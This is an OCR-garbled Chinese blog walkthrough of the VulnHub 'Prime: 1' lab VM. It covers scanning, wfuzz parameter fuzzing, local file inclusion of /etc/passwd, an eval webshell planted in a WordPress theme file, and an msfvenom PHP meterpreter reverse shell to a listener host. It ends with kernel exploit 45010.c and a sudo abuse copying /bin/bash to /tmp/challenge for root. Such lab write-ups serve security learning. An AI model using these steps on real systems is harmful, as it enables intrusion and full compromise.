vulnhub-prime_series_level 12 && ]

YsterCcc

DRER:
RS 75 B -
AR

H,

F 2021-11-22 22:04:35 K47 4698 W 2
vulnhub L ZEFrZE:  vulnhub
AN ERBISCE, #IE.CC 4.0 BY-SA FRALTIN, HEIEM L FE Sl A A 1 .
https://blog.csdn.net/weixin 546484 19/article/details/121465892

ﬂvulnhub BN RALE S

4RXEO0ITH

BB

W

‘B M https://iwww.vulnhub.com/entry/prime-1,358/
BVMXSCHE(VMWare S TEE VMX VMSD VMDK)E B #E1#k

[ kal

Fm Ubuntu 64-bit

@ t B v s638PM

find password.txt file in my direct

victor

e
ules

CSDN @YsterCcc


https://blog.csdn.net/weixin_54648419
https://blog.csdn.net/weixin_54648419/category_11482270.html
https://so.csdn.net/so/search/s.do?q=vulnhub&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/weixin_54648419/article/details/121465892
https://blog.csdn.net/weixin_54648419/category_11482270.html
https://www.vulnhub.com/entry/prime-1,358/
https://blog.csdn.net/m0_37614008/article/details/109302349

HEM LR A SRS, B AR RIR R R B — AT A fuzT B . FAfuzing@BSE R T TR R T eSS
file, XBEEAIIRRGE, ENEK—php3tit+F Hsecrettierd602 Hifuzzing 2 LUK SC 4, R BI—AN3 5 J5 #Ewordpress |
HHTER, RE—ATUBANENTE, 5AN—aiEADHgetshell, & J5FHEFER—AMRIRAERF G TEE#ITIR

4

sudo arp-scan -1
nmap -sV 192.168.22.130

EN1@MB I Re:e tb3: c7, IPv4: 192.168.
it 6 hosts ( github.com/royhills/arp-scan)
08 Inc.
Inc.

Inc.

\ by kernel
Ending arp-scan 1.9.7: 25¢ anne .906 seconds (134.31 hosts/sec).

4 responded

map 192.168.

Starting Nmap 7.91 ( ://nmap.org ) at 202 229319 .C5T
Nmap scam re . for 3
Host is up (©.00855s 1: \
Not shown: 998 closed ports
PORT STATE SERVICE VERSION

/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol

b
/tcp open Apache httpd 2.4.18 ((Ubuntu)) N
: inux; CPE: cpe:/o:linux:linux_kernel CSDN @YsterCcc

P80 0, ®’AEEMER

« C @ O & 192168.22.130 B <

OTE OsE O O%s Oy O@mt Obok (O%E @ phpinfo) ) netchx/netch: Asim... [T Bypass Disable func.. @) 3/l #Bypass disa.. 3 Disable_functionsss...

Hack Pentest

ZdirsearchE &

./dirsearch.py -u 192.168.22.130 -e*

I @ O

CSDN@@Ystertee



22.130/javascript/

Task

YiFdevH %, FRNERFREFH LM

hello,
now you are at lewvel 0 stage.
In real life pentesting we should use our tools to dig on a web very hard.

Happy hacking.

w8 (4 JUAN U 5 1) B B A4 B, iRl /wordpress/, —AM#t 2 Bwordpress 7

Focus — Just another WordPress site

Hello world!

‘Welcome to WordPress. This is your first post. Edit or delete it, then start writing!

2 victor @ August30,2019 m Uncategorized B 1 Comment

Search ...

— Recent Posts



BEENHE—A, KWT —Asecretixt, PilENXEIH—MER

fd4z: [192.168.22. 130 TR - iR

#12: [s o (% cPuggp, + SEe{E) (] DIR: 446890 [~ AsPx: 42529 [~ &Emlzoo
[7] AsP: 297812 [] p1P: 52816 ] &3l403

ign: (B BHMEEWESR) [ ame: con £4 Jsp: 19739 [ #miax
1HERE: Al R 0 FHERE: 0/3)

I bt HTTFNf e
1 http: /7192, 168, 22, 130/ 1ndex. phpPchemin= . %2f. . %2f.  %2f  %2f %2f  %2f%2fetc 200
2 http: /7192, 168, 22. 130/ 1ndex. php 200
3 http: /7192, 168. 22, 130/ secret. txt 200
4 http: /7192, 168, 22, 130/ wordpress/ 200
5 http: /7192, 168. 22. 130/ 1ndex. phpToption=com_userdoriew=resetélayout=confirm 200
5 http: /192, 168, 22, 130/ 1ndex. php7s=admin—logzin 200
fi http: /192, 168, 22 1'“.r|_ 200
g http: /192, 168, 22. 130/ 1ndex. php 200
9 http: /192, 168, 22. 130/ 1ndex. php? 200

10 http: /192, 16 . 130/ index. php?pymembs=admin 200

11 http: //192 168, 22. 130/8010/Guide/. . /. . /. ./ A .70 /. ./ 200

12 http: /192,168, 22. 130/ czi—binssi/. . /. .0 . /A ./ A /A ./ 200

13 http: /192, 168, 22, 130/ image. php 200

14 http: /7192, 168. 22. 130/ 1ndex. php%le 200

15 http://192. 168.22. 130/index. php?chemin=. . %2f.  %2f . %2f 200

16 http: /192, 168, 22, 130/ index. php7opti on=com_userfview=res 200

17 http: /7192, 168, 22. 130,/7. asp 200

18 http: //192 168. 22 130/image. php 200

19 http://192. 168, 22. 130/ index. php?. phy — SO0~
20 htti Ff192. 168, 22. 130/7. oho e CSDN @ fﬁ]{gl:r":[cv

Looks like you have got some secrets.

Ok I just want to do some help to yvou.

Do some more fuzz on every page of php which was finded by you. And if

you get any right parameter then follow the below steps. If you still stuck

Learn from here a basic tool with good usage for OSCP.

https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz For_ Web

//see the location.txt and vou will get your next move// CS5DN @YsterCec

Fuzz_For_Web

FREBASHH T A EMlocation.bd, XA T AR SR VIR F R 77 KRB R?ESHRM 4, X B AR
Hkrp tPF IR VL

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hl 7 http://192.168.22.136/index.php?FUZZ=Location.tx
t

XE-h 78 xtLines#EAT IR B, FAKIA —ASLEIEHE, PrilE RETIHREE, #EE/RRKRK— 124 ile


https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web

000000349:
000000348
000000347 :
000000345:
000000342
000000344 :
000000346 :
000000338:
000000340:
000000355:
000000353:
000000359:
000000374 :
000000373:
000000367 :
000000372
000000370:
000000369:
000000341 :
000000371
000000366
000000368
000000365:
000000364 :
000000363
000000362 :
000000361 :
000000358:
000000360:
000000357

“forget”
» f O O ”~
g g
folder
” B
“files”
“firegall”
“flash”
“fegi-bin”
TEiM d”
"formsend”
" format”
r.' 4 '
forums
“gone”
“globals”
g g
gate
“globalnav”
» ”~
get
”gest”
“file”
“global”
“games”
. . .
generic
“functions”
“function”
» ”~
fun
s f ‘tp o
* framework”
A o
forum
”~ ”~
frame

“fesnh@&YsterCcc

SSSsSS=SS=S=S=SS=S=S353=3.3=

et
=

7
i
7
5
7
..
7
#
T
T
T
7
[
[
7
7
7
7
8
¢
T
:
7
7
7
7
7
s
it
7

el SenBleni oallenllant (ol | Henlenionllenll sl (57 0000000 mmbile e o S e el e

sSES==S==S=35 35 3 =

#wliuzz Jusr/share/wfuzz/wordlist/general/common. txt 7 http://192. 168. 22. 130/index. php?FUZZ=1ocation. txt

/usr/1ib/python3/distspackages/wfuze/ init. .py:34: UserWarning:Pycurl is notl€ompiled against Openssl. Wfuzz might no
t work correctly when fuzzinggSSL sites. Check Wfuzz' s documentation for more information.

* Wfuzz 3. 1.0 — The Web Fuzzer *

Target: http://192. 168. 22,130/ index. php?FUZZ=1location. txt
Total requests: 951

Response Lines Word Chars Payload

000000341: 200 42 W 334 Ch Efaie”

Total time: 0
Processed Requests: 951
Filtered Requests: 950

' .
Requests/sec. : 0 CSDN @YsterCcc




B #1719 /index.php?file=location. txt

I T R T 0 0 W @ T 0o something better

ok well Now you reah at the exact parameter

Now dig some more for next one
use 'secrettier360" parameter on some other php page for more fun.

N O =s= gEls OBt NRE (JexeEs Qe One Ber T o=sms 8 usss @ HackBar 0] -
Encryption v Encoding ~ SQL v XSS~ Other Contribute now! HackBar vz
‘ @ Load URL ‘ http://192.168.22.130/index.php?file=location. txt CSDN @YsterCcc

use ‘secrettier360’ parameter on some other php page for more fun.

NI R 333 —Aindex php Al —4 image.php A LLiX B R f&F] Himage.php

finaly you got the right parameter

N O=s Dzus OEddm Nms () atsss QOus O ws

Encryption ~ Encoding~ SQL~ XSS~ Other ~

‘ &) Load URL | http://192.168.22.130/image. php?secretfier36)-Gotatin{ 6d

X B SR BT RO R

/image.php’secrettier360=/etc/passwd

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin binx:2:2:bin:/bin:/usr/shin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/shin/nologin lp:x:7:7:Ip:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr
/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats
Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:102:systemd Time Synchronization,,,;/run
/systemd:/bin/false systemd-network:x:101:103:systemd Network Management,,.;/run/systemd/netif:/bin/false systemd-resolve:x:102:104:systemd Resolver,,,./run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,.;/run/systemd:/bin/false syslog:x:104:108:/home/syslog:/bin/false _apt:x:105:65534::/nonexistent:/bin/false messagebus:x:106:110:/var/run/dbus:
/bin/false uuidd:x:107:111::/run/uuidd:/bin/false lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false whoopsie:x:109:117::/nonexistent:/bin/false avahi-autoipd:x:110:119:Avahi
autoip daemon,,:/var/lib/avahi-autoipd:/bin/false avahix:111:120:Avahi mDNS daemon,,,;/var/run/avahi-daemon:/bin/false dnsmasq:x:112:65534:dnsmasq,,;/var/lib/misc:/bin/false
colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false speech-dispatcher:x:114:29:Speech Dispatcher,,,;/var/run/speech-dispatcher:/bin/false hplip:x:115:7:HPLIP system
user,,;/var/run/hplip:/bin/false kernoops:x:116:65534:Kernel Qops Tracking Daemon,,,;/:/bin/false pulse:x:117:124:PulseAudio daemon,,,;/var/run/pulse;/bin/false rtkit:x:118:126:RealtimeKit,,;/proc:
/bin/false saned:x:119:127::/var/lib/saned:/bin/false usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false victor:x:1000:1000:victor,,,:;/home/victor:/bin/bash mysql:x:121:129:MySQL
Server,,:/nonexistent:/bin/false saket:x:1001:1001find password.txt file in my directory:;/home/saket: 5shd:x:122:65534::/var/run/sshd:/usr/sbin/nologin

» O =5= sHa DESE NRE (Oatsgs Oue Orr O e TSms 8 Eey @ Hackear 01 [ -
Encryption ~ Encoding~ SQL ~ XSS~ Other v Contribute now! HackBar
| sl Load URL ‘ http//192.168.22.130/image.php?secrettier360=/etc/passwd CSDN @YsterCcc

TE/etc/passwdH K find password.txt file in my directory:/home/saket , VjlAl

/image.php?secrettier360=/home/saket/password.txt



finaly you got the right parameter

follow the ippsec

o O ODesa OEtE NRs (Oesges Qe O B W
Encryption ~ Encoding~ SQL ~ XSS~ Other~

@) Load URL http://192.168.22.130/image.php?secrettier360=/home/salet p@s sward 1%E

83| —AF 15 (follow_the_ippsec), AA8ELEEMN L EHES S

find password.txt file in my direct

victor

Guest Session

CSDN @YsterCcc




NAEFERNIRIAE B — A /wordpress/H 3%, BESRZwordpresstEZHIE, RN EBERICERHH Y, XBEHEE —1H
F4

Welcome to WordPress. This is yvour first post. Edit or delete it, then start writing!

2 victor | @ August 30,2019 mm Uncategorized ®R 1 Comment

Search ...

m Recent Posts

Hello world!

Recent Comments Archives

A WordPress Commenter on Hello world! August 2019

Categories Meta

Uncategorized Log in
Entries RSS CSDIN @YsterCee

victor, follow the ippsec®FHiT), iXE Kk Fltheme editorffisecretphpE, KIA AHEAT XM 4%, X B HEE— A php—4)
EARL

@eval( ["qwer']);?>



WordPress 5.8.2 is available! Please update now.

Edit Themes
Twenty Nineteen: secret.php

Comments Selected file content:

1 /* Ohh Finaly you got a writable file */
» Appearance o

[Theme Editor

Help ¥

Select theme to edit: Twenty Nineteen v Sele

Theme Files
Comments
(commentsphp)
Theme Footer
(footerphe)
Theme Header
(headerphp)
Image Attachment Template
(imagephp)
inc »
Main Index Template
(indexphp)
single Page
(pagephp)
Search Results
chphp)

secret.php
CSON@YsterCcc
Sindle Post -

Fidwordpress I % AT AR B AL BRAEAEMR, AidiX B AT ar AT, ERAD RIS BT ERE

http://192.168.22.130/wordpress/wp-content/themes/twentynineteen/secret.php

W O=sx Dawa DEts NRsE () eess

‘Php

System Linux ubuntu 4.10.0-28-generic #32~16.04.2-Ubuntu SMP Thu Jul 20 10:19:48 UTC 2017 x86_64
Server APl Apache 2.0 Handler

Virtual Directory Support disabled

Configuration File (php.ini) Path Jetc/php/7.0fapache2

Loaded Configuration File fetc/php/7.0/apache2/php.ini

Scan this dir for additional .ini files fetc/php/7.0/apache2/conf.d

Additional .ini files parsed

Jetc/php/7.0fapache2/cont.d/10-mysqlnd.ini, fetc/php/7.0/apache2/cont.d/10-apcache.ini, fetc/php
/7.0fapache2/conf.d/10-pdo.ini, fetc/php/7.0/apache2/conf.d/20-calendar.ini, fetc/php/7.0/apache2
fcont.d/20-ctype.ini, fetc/php/7.0fapache2/conf.d20-exifini, fetc/php/7.0/apache2/conf.d/20-fileinfo.ini,
fetc/php/T.0/apache2/conf.d/20-ftp.ini, /etc/php/7.0fapache2fcanf.d/20-gd.ini, fetc/php/7.0/apache?
Jeontd/20-gettext.ini, fetc/php/7.0{apache2/confd/20-iconvini, fete/php/T.0/apache2/conf.df20-json.ini,
fetc/php/7.0/apache2/conf.d/20-mysqliini, /fetc/php/7.0/apache2/conf.d/20-pdo_mysql.ini, /etc/php
/7.0fapache2/conf.d/20-pharini, fetc/php/7.0/apache2/conf.df20-posix.ni, fetc/php/7.0/apache2/conf.d
f20-readline.ini, /etc/php/7.0/apache2/cont.d/20-shmop.ini, fetc/php/7.0/apache2/conf.d/20-sockets.ini,
Jetc/php/7.0fapache2/conf.d/20-sysvmsg.ini, fetc/php/7.0/apache2/conf.d/20-sysvsem.ini, /etc/php
/7.0fapache2/conf.d/20-sysvshm.ini, fetc/php/7.0/apache2/conf.d/20-tokenizerini

PHFP AP1

20151012

Encryption ~ Encoding ~ SQL ~ XSS~ Other ~

@ Load URL
§ spiit URL

» Execute

Postdata [] Referer [ User Agent [] Cookies Clear All

qwer=phpinfo();

M e Bk

¥ FEenE 38 wEEs @ HackBar

http://192.168.22.130/wordpress/wp-content/themes/twentynineteen/secret. php

FI FHmsfMsfvenomir 4 .45 k4t B & payload (php/meterpreter/reverse_tcp) 4 mishell.php. ¥ FFshell.php3cfd:, #5285 #)

Flsecret.php .

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.22.128 lport=1234 -f raw -o /home/yster/£MH/shell.php

-pikF M Pipayload
lhost=AHIP
lport=MHrsg 0

-f raw fREHIHER.
-0 HREHH AN E


https://blog.csdn.net/qq_17204441/article/details/89529990

. ting arch: php from the payload
iedy outputting raw payload

root®kali  /homefyster

W B 30

root ®kali) -l /home/yster

root @kali)  /hom

Slt-n—stllt-l §
(& ini_get

@ Dashboard Twenty Nineteen: secret.php Select theme to edit: Twenty Nineteen

Selected file content:

FS Theme Files
1| rxcopnp /e 168 1 3 123 ; $s_type = ‘stream'; ) | Comments
q: if (18s &c £ (AF_INET, SOCK_STREAM, [commentsphp)
SOL, rcp) s ; P} oswiten Theme Footer
L] es a = socket_read($s, 4); break; } 1 € diet): } = nx:a::k( = (footerphp)
Sb .= fread(Ss, Slen-strlen(Sb)): break: case 'so b .= socket_read(Ss

¥ Comments

e; if (extension loaded('suhosin') && ini_get('suhosin

.disable eval')) { §suhosin bypass=create f,l‘n:\:lu‘n( spy; Theme Header

M Appearance Image Attachment Tet

Theme Editor

X Plugins @
[ secetnp
.
L1 = Single Post
& Tools (singlephp)
template-parts »
Setting:
print.scss
o sass ¥

style-editor-customize
style-editor.scss
style.scss

readme.txt

File edited successfully. [}

CSDN @Yste

Kisecret.php 34 EA&E BTG, FHmsiEEL (exploitmulti/handler) , ¥ & Ihostfllportfl
payload (php/meterpreter/reverse_tcp) , FFEMEWT)E, MW E4T Frsecret.php T

msfconsole

use exploit/multi/handler

show options

set lhost 192.168.22.128

set payload php/meterpreter/reverse_tcp
set lport 1234

run



http://192.168.22.130/wordpress/wp-content/themes/twentynineteen/secret.php

lhost 192. 128

vad php/meterpreter/reverse tcp

Started reverse TCP handler ong192. 168

*] Sending stage (39282 bytes; s
*] Meterpreter sessio > 30:53144) at 19252:41 +0800

erpreter > shell
Process 4669 created.
Channel 0 created.
python —¢ 'import
www—data@ubuntu:,

B iEE S shell, FMpythonfea— Tbash, XECEEF|HEA IR T, #TRHZEN

python -c ‘'import pty;pty.spawn("/bin/bash")"

msfHE 21T R (KK



SHEBEN AL ——prime YRR, RIESEERANZERKATUNHAMSTERET, EREMAMNERE—FPHT A
P

'wordpres

Linux uhuntu 4. 10 0— eneric _04. 2-Ubuntu SMP ° 2 :19:48 UTC 2017 e 64 6_64 GNU/Linux

HITFrkalifimsf, FJFHLinuxKernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local PrivilegeEscalationi# 1T $24%

root@kali: /home/yster/sEH e T root@kali: ~ x EET - | X

sploitl6. 04

— Local

Google Chrome (Fedora
LightDM ([buntu 1'

i linux/des/46
Race Condition P11~11rgr linux x86-64
ffset’” Out—of-Bounds Pr
BE ’ Race Conditio
..04) = doubl put ()’ hpffBPF PROG_LOAD) Privilege Esc |
G004 1) — " IP6T _REPLACE" Local Privilege Escalati

on
t’ Ilocal Privileg
: i legesEsealatio |
Adnux Mint 17, Zorin) — Local

Results

SiB45010.cE | —MNMFRIMTT, WE#ITHIE, BE/EEmeterpreterh BT bA%, REEM P RRET T

cp /usr/share/exploitdb/exploits/linux/local/45010.c /home/yster/
gcc 45010.c -o root

upload /home/yster/root /tmp

./root


https://www.jianshu.com/p/a37c81c6cf3c

45010. ¢

Z4SDN Bibterced

> upload /ho
/home

www—data@ubuntu:/var/www$ cd /tmp
cd /tmp

www—data@ubuntu:/tmp$ |

F FH W] 45 2 98 SCHF B AT AT SO
[writeup] Prime_Series_level 15i4l. B THFEZXE, i REX—BA S WA

TE/opt F B —/~backup_pass X, FHAenc X% E(backup_password"), fEhome H T & #Henct

www—data@ubuntu: /opt/backup/server database$ ls
1s
backup pass
/serves, database$ cat backup_pass
cat backup_pass
your password for backup_database file enc is

“backup_password”

Enjoy! YsterCcc

find

/home
/home
find:
/home



https://blog.csdn.net/b10d9/article/details/108702675

www—data@ubuntu

./enc

enter password: backup p
backup password

sudo . /enc

ssword: backup password
backup password
good

ERFGIFEFH A%, cat—Tenckkey

www—data@ubuntu: /home/saklet$

follow_the_ ippsec

enc.txtSUfF & — BN E BISCAR . key.txtP 25 =2 &7 QAT i 25 enc. bt i) N 2% SCAR (B2 % 2 Sefippseci# 47 md5 N2, % 5 rEH T
R enc.ixt). X B FH 2 M3k :

https://www.cmd5.com/

https://www.devglan.com/online-tools/aes-encryption-decryption

https://base64.us/

HRER:
md5(ippsec,32) = 366a74cb3c959de17d61db30591c39d1
md5(ippsec,16) = 3¢959de17d61db30 CSDN @YsterCe


https://www.cmd5.com/
https://www.devglan.com/online-tools/aes-encryption-decryption
https://base64.us/

/kUj8JO08WGe9JXtOEJEXJA3CO
/cSna9v3YVi/ssHTbXkb+bFgY7WLdHJyvFBID
[wfpY2ZnA1787ajtm+
[aWWVMxDOWKuUQITIZZONw4=

Input Text Format: ®@Base64 OHex
Select Mode

ECB
Key Size in Bits
256

Enter Secret Key

366a74cb3c959del7db61db30591c39d]1

AES Decrypted Output (Base64):

4

RG9udCB3b3JyeSBzYWtIdCBvbmUgZGF5IHd
IIHdprwgcm‘JhY2ggdd8Kb3VylGRlc:3pr
mMFOaW9ulHZIcnkgc29vbidgQW5kIGImIHIvd
SBmb3JnZXQgCnlvdXlgdXNlcm5hbWUgdG
hibiBlc2UgeW81ciBvbGQgcGFzc3dvemQKPT
0+1CJOcmlidXRIX3RvX2IwcHNIYyIKCIZpY3Rve

W
Y/

Decode to Plain Text CSDN @YstarCer



RG9udCB3b3JyeSBzYWtldCBvbmUgZGF5IHdIIHdpbGwgemVhY2ggdG8Kb3VylGRIc3RpbmF0aW9ulHZIcnkgc29vbi4gQWSKIGImIHIvAS B
mb3JnZXQgCnlvdXlgdXNlem5hbWUgdGhlbiB1c2UgeW91ciBvbGQgcGFzc3dvemQKPTO+ICJOcmlidXRIX3RvX2IwcHNIYYIKCIZpY 3Rveciw

4%t (Encode) #8153 (Decode) 130e (ESHEEE )R
Base64 ftSakiEeilE R [ fwEREERh2iE

Dont worry saket one day we will reach to
our destination very soon. And if you forget
your username then use your old password
==> "tribute_to_ippsec"

Victor, CSDN @YsterCec

ipsec md5in#JEHIEAN: 366a74cb3c959de17d61db30591c39d1
encfBEJEN%: Dont worry saket one day we will reach toour destination very soon. And if you forget your usernam
e then use your old password==> "tribute_to_ippsec"Victor,

WIBEEFEHINE, K158 T saketFiL. Mwww-datafl 2 ) #eBlsaketf /7 .
Yi#Bsaket ' J5, &H T saketfl 7RISR

su saket //tribute_to_ippsec
sudo -1

saket@ubuntu:/$ sudo -1
sudo —1
Matching Defaults entries for saket on ubuntu:

‘usr/local/bin

7] LA BsaketF /7T DAAS A\ %5 55 $14T /home/victor/undefeated_victor GXAMERsudoersSXE %) , BT

sudo /home/victor/undefeated_victor

if you can defeat me then challenge me in front of you
/home/victor/undefeated_victor: 2: /home/victor/undefeated_victor: /tmp/challenge: not found

/tmp/challenge: not found, X B Asaketf J 7] LA %\ 25 5% 447 /home/victor/undefeated _victor3C 4, Tfjundefeated_victor3C
&7 tmplchallenge T K4, BRI B4R 22 () BT Ll £k 48not found, 1R /Amp AT S, FT LU binbash il
F|ftmp/challenge, RJEEIRPAT, BLEEIKEroottl R, AR saketf] 7 ->undefeated victor->/tmp/challenge->/bin/bash

cp /bin/bash /tmp/challenge
sudo /home/victor/undefeated_victor

if you can defeat me then challenge me in front of you



not found

at me then ehallenge me in front of you
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